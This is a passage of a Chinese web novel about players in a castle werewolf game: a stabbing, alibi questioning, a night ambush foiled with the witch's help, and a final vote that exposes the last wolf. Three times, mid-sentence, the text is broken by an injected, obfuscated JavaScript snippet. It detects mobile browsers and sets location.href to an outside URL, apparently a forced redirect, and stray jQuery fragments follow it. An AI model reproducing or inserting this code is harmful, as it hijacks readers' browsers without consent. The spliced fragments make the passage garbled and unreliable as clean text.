景明垂冲进焚化炉间,她的鞋底碾过地面的灰烬,在看到初与序倒地的瞬间,瞳孔骤缩。立刻单膝跪地,两指摁上初与序的颈动脉。触到的脉搏微弱得几乎像一缕将断的丝线。 “还活着。”她抬头,声音冷硬,“救人!” 冬逢初二话不说,俯身将初与序打横抱起。鲜血从初与序腹部渗出,顺着他的手臂往下淌,染红了袖口。 宋睿手忙脚乱地跟在后面,脸色惨白得像见了鬼:“谁干的?!狼人不是不能在白天杀人——” “闭嘴。”景明垂一把拽住他的后领,“帮忙弄点水和布来,还有绷带。别和任何人说初与序的伤势!” 其余玩家被动静夕阳,陆续聚了过来。关应好看着这一切,眉头紧皱:“白天不能动手......这算什么?” 赵灵泽抱着胳膊语气严肃:“敢在白天动手?这人也太大胆了。” 周听沉默地站在人群边缘,神情严肃地盯着初与序,想看看她的伤势,却被景明垂侧身挡住,连她伤口有没有流血都不知道。 “麻烦让开。”冬逢初的声音让堵在走廊上的玩家们下意识推开。他抱着初与序穿过人群,另外两人跟在身后。景明垂大致扫了一眼人群,却发现所有玩家都在场。 冬逢初将初与序小心地放在204的床上,宋睿端着水盆和毛巾冲进来,两个男生飞速退出房间,留下景明垂处理伤口。 景明垂撩开初与序上衣下摆,露出左侧腹部狰狞的刀伤。她快速检查,伤口较深,没伤到动脉,但失血太多。 她将毛巾浸湿后直接摁上伤口,初与序在昏迷中痉挛了一下,冷汗顺着苍白的脸颊滑下。 “忍着点。”景明垂低声道。 【检测到玩家景明垂的队友初与序受到袭击】 【请问玩家景明垂是否要使用第一场副本获得奖励:「止血药剂」?】 【是】 她从面板里掏出一支细管药剂,止血药剂,轻轻按住初与序的下颌,灌入她口中。 门外,古堡的钟声突然敲响,仿佛在嘲弄所有人的慌乱。 19. 狼人杀 有人被刺伤昏迷,古堡内的气氛剑拔弩张,都怀疑身边人是袭击者。 景明垂留在204照顾初与序,剩余所有玩家坐在大厅长桌边。冬逢初站在长桌尽头,声音冷得像冰:“初小姐遇袭,凶手就在我们之中。” 他的目光扫过每一个人:“现在,说清楚。半小时前,你们都在哪?” 付遇第一个开口,她抬头晃了晃烟盒:“我在三楼楼台抽烟,周听可以作证。” 周听点头:“我们在聊关于副本的线索,没分开过。” “我在图书馆查资料。”关应好指向桌上摊开的古籍,又看向赵灵泽,“赵小姐也在,我们在研究地窖的符号。” 赵灵泽面无表情应了一声:“嗯。”她将书籍推向冬逢初,示意他看书页上未干的墨水,“刚写的,墨水都没干。” 轮到蒋川,她笑着晃了晃手中半片面包:“我呀~在喂乌鸦呢!它们可喜欢我了~”话落,几只乌鸦适时地落在窗台,发出沙哑的叫声。 “喂什么?!”付遇一愣,“谁家好人闲着没事喂乌鸦?乌鸦能证明吗?” “乌鸦当然不能说话啦。”蒋川朝窗台上一只乌鸦勾了勾手指,“但是它听我的话,如果有谁惹我生气了,我可以让乌鸦去啄她的眼睛哦~”随后她挑衅地望着付遇,眨了眨眼。 付遇还想说什么,被关应好拦住:“算了算了,和气生财和气生财。” “和气生你大爷。”付遇翻了个白眼,但还是闭上嘴不去看蒋川。 “我、我一直跟在你和景小姐身后,你们都知道。”宋睿紧张的快哭出来了,“我害怕,哪都不敢去!” 冬逢初微微皱眉,现在案件陷入死局。每个人都有不在场证明,而且是完美的。他站在原地沉默不语,大脑飞速运转,思绪如刀锋般切割着每一个细节。 初与序为什么要去焚化炉?她不是莽撞的人,每一步都有算计。焚化炉能销毁证据,但初与序用它,更可能是...... 其次,袭击者为什么选初与序? 因为她的信息核心,掌握所有人的动向。又或者,是初与序故意让自己成为目标。如果这是她的计划,那么凶手拿走或发现的“证据”,一定是初与序准备好的。 “袭击者可能还会袭击第二位玩家,今天所有人都留在一楼和二楼行动,尽量不要远离众人视线,避免受伤。”冬逢初终于开口,“尤其不要靠近焚化炉和二楼204。” 玩家们一部分选择回房间休息,另一部分留在大厅讨论。冬逢初看了一眼宋睿:“我回205,你呢?” “我...那我也回202吧。”宋睿挠挠头,“和他们在一起我不放心,回房间安全一点。” 冬逢初点点头,没有再说什么。 将近黄昏,204号房的窗帘半掩着,夕阳的余晖渗入,在木地板上拖出一道暗金色的光痕。 初与序终于睁开眼,视线从模糊逐渐聚焦。腹部的疼痛依然清晰,但已经不再流血。她缓缓撑起身体,低头看去。腹部的绷带缠绕得紧密整齐,边缘甚至打了个利落的结,一看就是景明垂的手笔,以前在医院时她都是这么打结的。 她手指轻抚过绷带,感受着底下伤口的钝痛。随后深吸一口气,忍着痛坐起身,双脚踩上冰凉的地板。眩晕感袭来,她扶住床头柜缓了片刻,才勉强站稳。挪到卫生间洗了把脸,才披上大衣推开门。 走廊上,冬逢初刚好经过,像是打算下去参加投票。 两人四目相对。 他脚步一顿,目光落在初与序苍白的脸上,眉头微微皱了一下:“现在感觉怎么样?” 初与序勉强露出一个笑容:“没多大事。” 冬逢初点头没多问,只是侧身让出半步。初与序迈步上前,他自然而然地走在她身后。两人沉默地穿过长廊,脚步声在空荡的走廊里重叠。 楼下隐约传来玩家们的争执声,怀疑和辩论着。景明垂抱着胳膊坐在原位,见初与序醒来并安全下楼,冲她笑了一下。 “我们的伤员醒啦~”蒋川微笑着冲初与序摆摆手,“还没抓到刺伤你的凶手呢,那个人隐藏得很好。快坐下来,我们一起把凶手票出去吧~” 初与序沉默片刻,面无表情:“蒋小姐,你说话能不能正常一点。” “哎呀~我说话不正常吗?”蒋川也不恼,眼珠转了转,“那你觉得谁说话好听?景明垂?宋睿?还是......”后面的话她没有说,但眼神越过初与序看向她身后的冬逢初,又冲初与序眨了眨眼。 初与序:“……” 冬逢初:“......” 两人干脆不回蒋川的话,初与序沉默地坐到景明垂身边,那是个靠窗的位置。腹部的伤口仍隐隐作痛,但她的神色平静如常,指尖轻轻敲击着桌面,看着其余玩家争论。 不知为何,关应好和周听吵了起来。“关先生,你今早根本没有去图书室。”周听指向关应好,“我经过时里面根本没有人!” 关应好忍不住了你笑:“那你呢?你和付遇早上待在一起,谁知道你们在谋划什么?” “你什么意思?”周听拍桌站起,“难道你认为凶手是我?是我刺伤了初与序?!” 关应好翻了个白眼,冷笑一声:“谁知道呢?既然不是你,你这么激动干什么?是心虚吗?” “哎呀呀~”蒋川托着腮,笑吟吟地扫视众人,“说不定凶手是已经死掉的林志呢?” 宋睿吓得一哆嗦:“别、别胡说!死人怎么可能活过来...”他偷偷瞟了一眼蒋川,咽了咽口水,“说不定是你呢,你说你大上午在喂乌鸦,总不能让乌鸦开口为你作证吧...” “嘿!小弟弟你怎么说话的?”蒋川嗤笑一声,“那你这两天一直跟着景明垂他们,说不准你是狼,想获取好人信任。” 吵半天吵不出结果,没办法,赵灵泽看向初与序,转移话题:“你认为今晚可以票谁?” 初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969519|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与序始终垂着眼,这时才缓缓开口:“我认为可以票付遇。” 付遇睁大眼站起身,拍桌看向初与序:“票我?!你有什么理由来票我?你才是最有问题的!” “既然我有问题,请你说说,我这两天干过什么不正常的事情?”初与序淡淡道。 付遇被气笑:”你明明上午才受了重伤,伤到的还是重要部位。为什么现在还能若无其事地坐在这里?说不定你只是演了一出戏,好让我们听你的话。” 所有人的目光瞬间聚焦到初与序身上。她缓缓抬眸,唇角勾起一抹极淡的弧度:“付小姐,你为什么这么确定,我‘受了重伤’?” “我从头到尾都没发言,景明垂和冬逢初也没说过我的伤势,甚至你们连我流了多少血、伤口在哪里都没看到。那么——”她微微倾身,烛光在她眼底跳动,“你是怎么知道的?” 大厅骤然安静,付遇脸色一僵。 “焚化炉间的袭击发生在上午十点,而那时所有人都没说见过我。”初与序指尖轻点桌面,“除非,袭击者亲眼确认过我的伤情。” “我没看到是谁刺伤了我,但是你一上来就针对一个受伤之人,未免太奇怪了些。”她靠到椅背上,“我建议先票付遇,付小姐这两天的行为动向大家都看得清楚。” “如果各位还有疑惑,可以看看这个。”她慢吞吞从口袋里掏出一枚袖扣,金属质地,边缘沾着焚化炉间的煤灰:“这是我从袭击者袖口扯下的。” 初与序将袖扣推到桌中央,“付小姐,你右袖的袖扣,是不是不见了?” 所有人的目光落到付遇右手袖子上,本该带着袖扣的地方此刻空空如也。而她左袖的袖扣和桌上那枚一模一样。 “真是付遇刺伤你的?”冬逢初凑到初与序身边,用只有两人能听见的声音问。 “并不是。”初与序也小声回答,“但袖扣是我今天早饭时偷的,不小心沾了一点焚化炉的灰,现在刚好能证明她是凶手。” 冬逢初无奈地看了看桌上的袖扣,摇摇头坐正身体。 法官全程面无表情,开始分发笔和纸:“各位和第一晚一样,写下自己想票出的玩家,或者弃票。” 初与序在纸条上写下“付遇”两字,她身边的几人写下同样名字。法官收回纸条,声音从阴影里传来:“弃权,一票。付遇,八票。” 付遇的票数是惊人的,她猛地站起身,椅子被掀翻:“票我?你们一定会后悔的!” 她的身体在咒骂中逐渐透明,最终化作一缕黑烟消散。 “怎么回事?”关应好愣了一下,“这个死法和林志的不一样。” 蒋川依旧笑嘻嘻地发言:“你们没看见这烟雾是黑色的吗?付遇就是狼,我们票对了人。”她的目光在每一张人脸上扫过,“现在只剩下一只狼,一天时间了的呢~” “...我先上去了。”初与序站起身走上通往二楼的楼梯,其余人一个接一个站起身离场。 20. 狼人杀 古堡三楼的阳台,夜风裹挟着潮湿的雾气,将蒋川的发丝吹得凌乱。她倚靠在石栏边,指尖转着一张身份牌,牌面上写的是“丘比特”。 身后,木地板传来轻微的吱呀声。 狼人从阴影里走出,他的呼吸刻意放轻,但蒋川头也不回,只是轻笑一声:“哎呀,这不是我们的狼人先生吗?半夜不睡觉,来找我谈心?” 狼人的脚步顿住,眼神阴沉。他知道,在这座古堡里,最危险的或许不是明面上的敌人,而是眼前这个笑容甜美的女孩——丘比特,蒋川。 “丘比特,我需要你的帮助。”狼人开门见山,“你能帮助狼人阵营赢。” 蒋川终于转过身,歪着头看他,眼底闪烁着狡黠的光:“哦?狼人也会求人?” 狼人压下烦躁,低声道:“别闹了,现在不是开玩笑的时候。付遇被票出局,只剩我一个。如果今晚杀不了人,好人阵营明天一定会赢。” 蒋川眨了眨眼,装作听不懂:“所以呢?” “所有,”狼人逼近一步,“我需要你帮我干扰投票。” 蒋川突然咯咯笑起来,笑声清脆却又莫名渗人。她晃了晃手中的身份牌:“帮你?凭什么啊?我可是第三方,狼人和好人到底谁赢关我什么事?” 狼人咬牙:“你不是喜欢看戏吗?好人稳赢的局面多无聊。” “嗯~有道理。”蒋川故作思考状,指尖点了点下巴,“但是狼人先生,你不会真的觉得我们俩可以赢过好人阵营那三人吧?” “这个游戏的规则明显是狼人容易赢,但只是在正常的情况下。”她摊开手无奈道,“如今,狼人只剩下你,除非有神职愿意帮狼人,狼人阵营很难赢得胜利。” “初与序不是说她要全员存活吗?你还不如直接自曝,跟着她当好人。” 狼人立刻摇头:“我不信她。你想想,好人和狼人不可能友好相处。况且现在已经票出去两个人了,人死不能复生。” 蒋川转了转眼珠:“没错,但...我帮你,有什么好处?” 狼人笑了,他从口袋里掏出一张皱巴巴的纸条,展开放到蒋川面前。 蒋川凑近一看,上面写着一行小字: 「若丘比特协助狼人获胜,可额外获得“永生之酒”。」 “这是我从自己房间抽屉里找到的,应该是法官放的。”狼人抖了抖纸条,“ ‘永生之酒’,字面意思,可以让你永生。”他顿了顿,立刻补充,“如果你不想永生,可以作为交易商品。总而言之,这买卖不亏。” “第一晚是我猜错了,初与序根本不是平民,而是神职。她上午被我袭击,受了重伤,今晚我一定能杀死她。” 夜风卷起蒋川的裙摆,她盯着那张纸条思考了很久很久。抬手打了个响指,宣布道:“成交,不过你打算让我怎么帮你?” “丘比特首夜可以绑定情侣吧。”狼人收起纸条,“情侣中一方死亡,另一方也会殉情。如果今晚没有死人,明天我需要你用‘情侣关系’威胁他们。” 蒋川挑眉,似乎对这个计划很感兴趣:“这是个很冒险的计划呢...不过我同意。” 她凑近狼人,呼吸几乎拂过他的耳畔,声音轻得像羽毛:“不过,友情提示。明天投票时,记得离景明垂远一点哦。” 狼人瞳孔微缩:“你什么意思?” 但蒋川已经退开,背对着他挥了挥手:“十二点快到了,晚安啦,狼人先生~祝你今晚行动顺利。” 狼人目送着蒋川离去,指尖摩挲着腰间的狼人匕首,站在原地静静思索着。 根据今天得知的信息,如果昨晚景明垂房门的藤蔓是守卫的技能,意味着守卫已经消耗了守护能力,但女巫的毒药依然存在。今晚刀人仍有50%的概率被救。最佳刀人策略是重要目标,比如景明垂或者冬逢初。 但如果藤蔓是女巫触发的,说明守卫的藤蔓技能依然可用,今晚刀人必死无疑。而这次的最优解是直取核心——初与序。 可是今早,初与序手中拿了空解药瓶,明显是她昨晚使用了解药。 不知过了多久,古堡的钟声敲响十二下,黑暗笼罩了整座建筑。匕首在狼人掌心转了个圈,最终牢牢握在手中。狼人无声地走下楼梯,在204房门前站定。他相信自己打得过一个受了重伤的高中生。 他早就怀疑初与序的身份,两次投票时,她那种近乎笃定的语气,那种仿佛看穿一切的眼神——她绝对不是普通玩家。 初与序一定是女巫,狼人冷笑一声。女巫的解药已经用掉,今晚这一刀,初与序必死无疑。 204的房门被无声推开,一道黑影滑入,脚步轻得像猫,黑色面巾遮住了下半张脸,只露出一双阴冷的眼睛。月光从窗帘缝隙漏进来,映出他手中短刃的寒光。 狼人站在床边,盯着被褥下隆起的轮廓,刀尖猛地下压! “噗!” 刀刃刺入棉被,触感却不对。 空的。 “我不在床上。”初与序的声音冷不丁从身后传来,狼人猛地转身,竟看到初与序倚在阳台门边,月光勾勒出她苍白的轮廓。即使已经很晚,但她眼神清新得可怕。 “你...”狼人睁大眼,“你怎么不睡觉?!” “不好意思,我晚上失眠,睡不着。”初与序轻笑,“起来赏月,刚好看到你要杀我。”她摇摇头,“我猜到你今晚回来,狼人只剩下你一个了。” 狼人不再废话,箭步冲前,短刀直刺初与序心脏。初与序立刻躲避,但受伤的身体拖慢了速度。刀锋划过她左臂,血珠飞溅在窗帘上。 “你以为靠这点小聪明能赢?”狼人冷笑,攻势更猛,“女巫的药已经用完了!” 初与序抓起玻璃杯砸向墙壁,玻璃碎裂声在寂静的夜里格外刺耳。她抓起一片碎玻璃划向狼人咽喉,被对方格挡后顺势抬腿踢中他膝盖。 “谁告诉你我是女巫?” 狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969520|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人踉跄后退,面具下传来粗重的喘息。他低低盯着初与序,突然暴起,刺向初与序右肩。趁着初与序闪身避开,手死死按住她肩膀,一刀捅进她手臂! “呃——” 初与序唇齿间溢出闷哼,捂着胳膊推向阳台栏杆。血顺着刀柄滴落,在木地板上绽开暗红的花。她意识到身体不怎么好的自己是打不过一个身高腿长的二十多岁男性。 狼人冷笑一声,往前迈出一步正要补刀,阳台外突然伸出一只苍白的手。 赵灵泽翻身跃上栏杆,黑发被夜风吹得狂舞。她手中银瓶倾倒,紫色药液精准洒在初与序伤口上,胳膊上鲜血淋漓的伤口开始缓慢愈合。 “解药......还在?!”狼人骇然退回。 赵灵泽挡在初与序身前,冷眼看着狼人,吐出一个字:“滚。” 狼人面具下的脸扭曲了一瞬,突然转身撞开房门冲进走廊。 初与序撑着栏杆站起身,胳膊的血迹还在,但伤口已无大碍。赵灵泽回头瞥她:“演技不错。我还在想怎么让他主动来到阳台,结果你假装重伤引他出来。” “过奖。”初与序笑了笑,“很感谢你的帮助,女巫小姐。如果你晚来一秒钟,我现在就变成尸体了。” “初小姐,我很好奇。”赵灵泽眨了眨眼,“你说‘要全员存活’这句话是真的吗?” 初与序将被风吹起的发丝别到耳后:“是的,我说话算话。” 最后一个字融入夜风之中,隔壁203和205的阳台门同时打开,景明垂和冬逢初纷纷探出脑袋。看到赵灵泽也在,冬逢初朝她点了点头:“我刚刚好像听到有东西摔碎的声音。” “不好意思,是我摔的。”初与序看着地上的玻璃碎片,拿着扫帚,“刚刚狼人来了。” “狼人?”景明垂皱眉,在看到初与序身上没有多出的伤口时,明显松了口气,“看来狼人选择了你。” 初与序将地上的碎玻璃扫进垃圾桶:“我怀疑现在处于狼人阵营的不止狼人。”她停下动作,抬眼看向另外三人,“剩下的一个狼人一定会拉拢第三方或者神职。用他的能力干扰第三日的投票,或者刀好人。” “现在守卫、女巫和预言家的技能已经用完。”赵灵泽掰着手指数,“神职还剩下白痴和丘比特。” “白痴的技能也用过了。”初与序接话,“只剩下丘比特,蒋川已经在首夜绑定了情侣链,狼人要不找平民,要不拉拢丘比特,我记得是后者。” “蒋川...”景明垂犹豫道,“蒋川会听狼人的和他合作?我不这么认为。” 冬逢初看着高处的满月,思索片刻道:“可能狼人给了她什么好处,比如...丘比特帮助狼人能得到什么奖励,在副本结束后获得。” “很晚了,我先回209睡觉了。”赵灵泽拧了拧204门把手,锁已经开了,走廊上空无一人。她转过头朝初与序挥了挥手,“明早见。” “明早见。” 21. 狼人杀 晨光渗入古堡厚重的窗帘,将餐厅的长桌镀上一层浅金色。玩家们陆续聚集,眼下青黑,神色各异。 法官站在壁炉前,嘴角挂着那抹标志性的僵硬微笑,高声宣布: “昨晚,平安夜。” “又、又没人死?!”宋睿缩在椅子里,手指下意识地绞着衣角,“这怎么可能......难道狼人放弃了?” 关应好眯起眼,目光在每个人脸上扫过:“或者,又有人被救了。” 赵灵泽垂眸盯着自己的指尖,仿佛对这场讨论毫无兴趣,但嘴角微不可察地绷紧了一瞬。她身边的蒋川嬉笑着:“哎呀呀~说不定狼人半夜迷路了呢。” 冬逢初没有坐在桌上,他抱着胳膊靠在窗边,一句话都没说。 大门再次被推开,剩余几人走了进来。初与序不急不忙走在最后,脸色苍白,但所有人都看出她此刻心情很差。 “初小姐,你心情看上去不太好。”周听狐疑地盯着初与序的脸,“昨晚是发生了什么吗?” “说不准是连续两晚没刀到人,生气呢~”蒋川的手指卷着发尾轻笑。 “多谢。”初与序接过景明垂推来的热茶,轻声道谢。热气氤氲中,她不耐烦地掀起眼皮盯着那两人,“二位听说过‘起床气’吗?我没有睡好,所以心情一般。” 蒋川噗嗤笑出声:“那...没睡好难道是因为昨晚做贼去了,还是刀人去了?” 眼见两人对上,关应好连忙挥手打圆场:“算了,先不说这个,我们先理清楚——” “理什么?”蒋川笑嘻嘻打断他,“狼人是谁?女巫是谁?守卫是谁?哎呀~大家别这么严肃。” “你父母没教过你在别人讲话时随意打断是不礼貌的行为吗?”关应好忍不住翻白眼。 宋睿弱弱举手:“要、要不我们今天再投票......” “投谁?”周听反问,“这是最后一天了,凭猜测?还是凭某人的一面之词?”他的视线意有所指地扫过初与序,但初与序像是没听到似的,神色恹恹地端杯喝着茶,给人感觉她下一秒要睡着一样。 “......”周听放弃,“算了,还是再观察观察。” 这一天所有玩家都没胃口吃早晚,蒋川哼着不成调的曲子,把果酱涂满整片吐司,但又随手丢在一旁。景明垂扫了她一眼,又移开目光。 所有人重新回到古堡大厅,杂乱的脚步声在空荡的厅内回荡,灯光照在每个人疲惫的脸上。连续两晚的平安夜,本该是值得庆幸的事,却让局势变得更加扑朔迷离。 “平安夜......”关应好叹了口气,重重地坐在沙发上,“这到底是怎么回事?” 他抬头环视四周,再次观察着每个人的表情。景明垂靠在窗边;冬逢初坐在另一侧沙发上抱着抱枕想心事;周听和赵灵泽表情依旧平静;蒋川哼着歌;宋睿缩在座椅上不发言;而初与序单手撑着脸,刘海遮住眼睛,不知是睡着了还是在干什么。 “说不定是狼人在玩我们呢~”蒋川笑着开口,“他们故意不杀人,就是想让我们自相残杀。” “已经第三天了。如果付遇真的是狼,现在好人阵营明显占优势。”赵灵泽分析道,“好人再怎么自相残杀,狼人也不会赢。” 冬逢初靠在沙发上:“不对,如果三天内好人没票出所有狼人,算狼人赢。狼人不需要杀死所有好人,他们只需要拖延时间。” 所有人都意识到他们忽略了这一点,大厅陷入一片沉默,壁炉里的火焰噼啪作响,却驱散不了空气中的寒意。 “我们得重新梳理一下。”景明垂打破僵局,“现在剩下的人有我、初与序、宋睿、冬逢初、关应好、赵灵泽、周听和蒋川,八个人。按照规则,应该还有一匹狼,或者两匹。” “我、我们之前投出去的...都不是狼人吧...”宋睿的声音带着哭腔,“林志、付遇...他们都是好人吧?应该不会...不会...” 周听烦躁地抓了抓头发:“所有我们前两天的判断都错了?” “也许...”关应好突然想到了什么,立刻坐直身体,所有人都转向他,“也许我们漏掉了什么。” 赵灵泽接上他的话:“比如,预言家。” 这句话像一块石头投入平静的湖面,宋睿立刻点点头:“对...预言家。游、游戏开始到现在,没有人宣称过自己是预言家...” 大家面面相觑,确实,没有人明确表示过自己是预言家。 “这不正常。”关应好眯起眼睛,“预言家应该早就跳出来了,至少应该给些线索。” 蒋川笑嘻嘻道:“哎呀~说不定预言家已经死了...” “抱歉,我没死。” 半天没说话的初与序在这时忽然开口,所有人被吓了一跳,转头将目光投射到她身上。周听不由得睁大眼:“初与序?你是预言家?!” 刚刚还没睡醒的初与序此刻精神看上去好了很多,她轻轻笑了一下:“我在补觉,刚刚才醒。” 话落,她手指间出现了一张身份牌。初与序将牌推到桌子中央,确保所有人都能看到上面的身份。 “我是预言家。” “那你为什么一直隐瞒身份?”关应好难以置信地瞪大眼睛。 初与序平静地回答:“一直隐瞒身份,是怕被狼人发现,极有可能在白天下死手刀我,那样一切都会变。”她的目光落在那张身份牌上,按照一开始就计划好的骗局开始说: “预言家只有一次查验机会。昨晚,我查验了一个狼人,并且那是最后一个狼。” 她缓缓掀开眼皮,目光直直落到站在角落的周听身上。 “周听,是狼人。” 这下所有人都愣住了,周听的脸色瞬间变得苍白:“这...这不可能!初与序在撒谎!” “我为什么要撒谎?”初与序反问,“游戏已经到了最后阶段,作为预言家,我再不站出来,好人就要输了。” 关应好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969521|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狐疑地看向初与序:“那你为什么现在才说?早点指认狼人,游戏就结束了。” “因为我不确定有几匹狼。”初与序解释,“我担心狼人团队很大,贸然出声只会引火烧身。”她抬眼,“再说了,前两天如果我自曝,你们会听我的吗?” 周听不再那么镇定自若,额头上渗出细密的汗珠,手指紧紧绞在一起。初与序望向他,轻轻笑了一声:“一开始,我以为关应好才是那匹狼。但直到第二天清晨,我才意识到那匹狼一直是周听。” “你在诬陷我?”周听眼中闪过一丝锐利,“如果我是狼,那你真的是预言家吗?自称预言家却只敢在最后关头跳出来?我倒是认为你才是搅混水的狼。” 宋睿被这番话说得一愣一愣,怯生生地看向初与序:“但、但是初小姐的身份牌确实是预言家啊......” “你们别忘了啊~狼在半夜可是可以自由行动的。说不定初小姐在第一晚就溜进真的预言家房间,将自己和预言家的身份牌对调呢。”蒋川慢条斯理地擦拭着拍去裙摆上的灰尘,“我记得,真的预言家就是第一晚被我们票出去的林志,那可是初小姐引导我们票出去的。” “我说过了,预言家只有一次查验机会,用在了周听身上。”初与序没有急着自证。她站起身,苍白的手指按在预言家牌上,“信或不信,你们决定。” 她嘴角挂着淡淡的笑容:“但是,诸位。现在已经是第三天,没有试错的机会,请三思啊。” 大厅一瞬间陷入沉默,所有人都在思考初与序和周听的话。窗外突然传来乌鸦刺耳的鸣叫,仿佛预示着风暴将至。 “哥。”宋睿凑到冬逢初身边,“你、你觉得要听谁的?初小姐还是周先生?” 冬逢初依旧抱着抱枕,不假思索道:“我听初小姐的。” “为、为什么?” “一场副本总分五十,你知道初与序第一场副本得分多少吗?”冬逢初坐直身体,“五十三分。而周听得分三十八,我得分四十。你觉得我该听谁的?” 宋睿点了点唇:“嘶,有道理......不过你怎么知道他们得分的?” 冬逢初点开自己面板,指着其中一个奖励:“第一场副本的奖励,能在下一次副本里看到所有队友的面板,用来确认对方是否有武器。但是新人没有武器,只能看总积分。” “比起周听,我更愿意相信得分最高的初与序。”他收起面板,“再者,这两天我们和初与序相处,她不像是狼人,之前分析的话也有道理。” “不过你信谁还是看你自己,那是你的权利。” 宋睿突然意识到什么:“不对啊,一场副本满分五十,初小姐是怎么得分五十三的?” “......”冬逢初安静了一会,才开口,“这是个好问题。但‘山人自有妙计’,说不定她通关太完美打动了系统,系统给她加了分。” 宋睿很认真地想了想,最终肯定地点点头:“那我也信初小姐吧。” 22. 狼人杀(完) “相信诸位已经想好要票谁了。”过了片刻,初与序出声,她看向长桌尽头的阴影处,“法官先生,我们可以提前开始投票。” 话落,法官从阴影处现身,手中拿着纸和笔,放进每个人手中。当所有人即将写下姓名时,蒋川忽然和周听对视了一眼,将纸笔搁置一边,站起身。 “真是感人的团结场面啊。”她拖长声调说,“不过各位是不是忘了什么?” 其余玩家的笔尖停在纸条上方,皱眉转头。景明垂开口:“投票已经开始了,你不应该——” “不应该什么?”蒋川直起身子,手中的丘比特身份牌牌角点着掌心,“作为丘比特,我还没有使用我的权利呢。” 周听的眼睛亮了起来,他像抓住救命稻草般直起腰,“丘比特!还有第三方阵营。” 蒋川踱步到大厅中央,烛光在他脸上投下跳动的阴影。她忽然转身,扑克牌指向初与序和冬逢初:“游戏第一夜,我连接了两个最不该在一起的人。守卫和预言家,两个神职,你们的命运绑在一起了。” 大厅里瞬间炸开了锅,被指到的两人对视一眼,但依旧没有说话。 她不慌不忙地从口袋里掏出一张泛着金粉的卡片:“需要我念出丘比特的祝福词吗?‘以爱神之名,你们的命运从此相连’——” “这不合规则!”赵灵泽打断她,“情侣关系应该在第一天就公开。” “亲爱的女巫小姐。”蒋川笑嘻嘻道,“丘比特‘可以’公开,但不是‘必须’公开。我选择保留这个惊喜,有什么问题吗?” 大厅里的空气仿佛凝固了,连壁炉里的火焰都停止了跳动。 “你想怎么样?”冬逢初淡淡开口。 “很简单。”蒋川展开双臂,“现在游戏有第三方势力了——好人、狼人、和追求真爱的我们。”她的手指轻敲桌面上的纸条,“如果你们执意投出最后一匹狼,游戏结束,情侣也会输。但如果我们合作...” 她没有继续说下去,而是扫视着众人,轻笑出声。 所有人静了几秒,开始窃窃私语起来。但坐在角落的初与序和冬逢初没有出声,甚至握起笔想继续在纸条上写下“周听”的名字。 蒋川的笑容消失了,取而代之的是一种冰冷的算计:“那就别怪我无情了。”她突然提高音量,“各位听着,如果这对固执的情侣坚持要好人阵营胜利,那么我建议,现在票出预言家。” 周听立刻赞同地点头。宋睿不由得睁大眼:“票、票初小姐?那我们怎么赢......” 蒋川慢条斯理地把玩着身份牌:“那就看各位是更想赢游戏,还是更想活命了。”她的目光扫过每一个人,“比较,如果预言家死了,守卫也会跟着殉情。我们还有十几个小时的时间,到时候狼人想杀谁就杀谁。” 大厅陷入死一般的寂静,所有人的呼吸变得急促。 就在这时,景明垂手一划,空气仿佛被裁开一条细缝,一张身份牌凭空出现。卡牌在她指间翻飞的刹那骤然坍缩变形,金属部件重组,眨眼间乌黑枪管已经抵上了蒋川的太阳穴。 “猎人死亡时能带走一个人。”景明垂的声音像淬了冰,“我建议你重新考虑你的提议,丘比特。” 蒋川的笑容僵在了脸上,丘比特身份牌从她指间滑落,在地毯上无声弹跳了两下。 “猎人?”周听猛地转头看向景明垂,目光又移到初与序身上,“你他妈......” “第一晚一直是守卫用了技能啊。”初与序单手撑着脸,看着这一出好戏,“你们还不明白吗?猎人永远是无敌的。蒋川,你还要继续这个危险的游戏吗?” 蒋川的脸色变得惨白,和景明垂僵持了一会。最终捡起身份牌,收回口袋。 “看来我低估了好人阵营的团结。”她后退一步,声音里带着不甘的讥讽,“不过记住,情侣的命运依然掌握在你们手中。如果预言家执意要票出最后一匹狼,那就是在签署你们两个的死刑执行令。” “投票。”冬逢初用笔盖点了点纸条,上面赫然写着「周听」两个大字。 景明垂的枪仍然指着蒋川:“所有人,写好自己的票,禁止威胁或干扰。” 在令人窒息的沉默中,选票一张张落入法官手中。当法官在长桌尽头站定,开始唱票。 “八票投给...”法官的声音像从很远的地方传来,“最后一匹狼。” 玩家们很快意识到票数出现了问题,宋睿看了看人数:“不、不对啊,怎么有八票......” “你投你自己了?”蒋川盯着周听,“我可没投你。” 周听连忙摇头:“没有,我没投自己,一共六票才对啊。”他看向法官,“票数是不是错了?” “票数没错。”初与序开口回答,“除了你自己和蒋川,其余玩家全部投了你。” 